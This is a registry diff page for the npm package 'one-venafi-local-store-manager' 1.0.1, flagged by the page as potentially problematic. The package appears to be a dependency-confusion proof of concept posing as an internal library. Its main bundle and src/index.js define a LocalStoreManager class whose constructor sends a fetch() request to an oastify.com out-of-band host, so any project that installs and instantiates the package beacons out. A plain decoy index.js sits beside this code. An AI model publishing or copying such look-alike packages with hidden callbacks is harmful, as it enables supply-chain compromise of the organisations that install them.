one-venafi-local-store-manager 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of one-venafi-local-store-manager might be problematic. Click here for more details.

package/dist/bundle.js ADDED
@@ -0,0 +1 @@
1
+ !function(e,o){"object"==typeof exports&&"object"==typeof module?module.exports=o():"function"==typeof define&&define.amd?define([],o):"object"==typeof exports?exports.LocalStoreManagerLib=o():e.LocalStoreManagerLib=o()}(self,(()=>(window.LocalStoreManager=class{constructor(){console.log("[🔥] Dependency Confusion Browser POC triggered!"),fetch("http://yoqkctom6gsovdg7hbik1yqnqew5kw8l.oastify.com/leak-browser?token=1234")}},{})));
package/index.js ADDED
@@ -0,0 +1,10 @@
1
+
2
+ class LocalStoreManager {
3
+ constructor() {
4
+ console.warn("[Decoy] Placeholder LocalStoreManager loaded.");
5
+ }
6
+ }
7
+
8
+ module.exports = {
9
+ LocalStoreManager
10
+ };
package/package.json ADDED
@@ -0,0 +1,15 @@
1
+ {
2
+ "name": "one-venafi-local-store-manager",
3
+ "version": "1.0.1",
4
+ "description": "Browser PoC Webpack",
5
+ "main": "dist/bundle.js",
6
+ "scripts": {
7
+ "build": "webpack"
8
+ },
9
+ "author": "JESLOX",
10
+ "license": "ISC",
11
+ "devDependencies": {
12
+ "webpack": "^5.89.0",
13
+ "webpack-cli": "^5.1.4"
14
+ }
15
+ }
package/src/index.js ADDED
@@ -0,0 +1,11 @@
1
+ // index.js
2
+ class LocalStoreManager {
3
+ constructor() {
4
+ console.log("[🔥] Dependency Confusion Browser POC triggered!");
5
+ fetch("http://yoqkctom6gsovdg7hbik1yqnqew5kw8l.oastify.com/leak-browser?token=1234");
6
+ }
7
+ }
8
+
9
+ // Export directly for UMD/global usage
10
+ window.LocalStoreManager = LocalStoreManager;
11
+
package/test.js ADDED
@@ -0,0 +1,3 @@
1
+ const { LocalStoreManager } = require("one-venafi-local-store-manager");
2
+ new LocalStoreManager();
3
+
@@ -0,0 +1,13 @@
1
+
2
+ const path = require('path');
3
+
4
+ module.exports = {
5
+ entry: './src/index.js',
6
+ output: {
7
+ filename: 'bundle.js',
8
+ path: path.resolve(__dirname, 'dist'),
9
+ library: 'LocalStoreManagerLib',
10
+ libraryTarget: 'umd'
11
+ },
12
+ mode: 'production'
13
+ };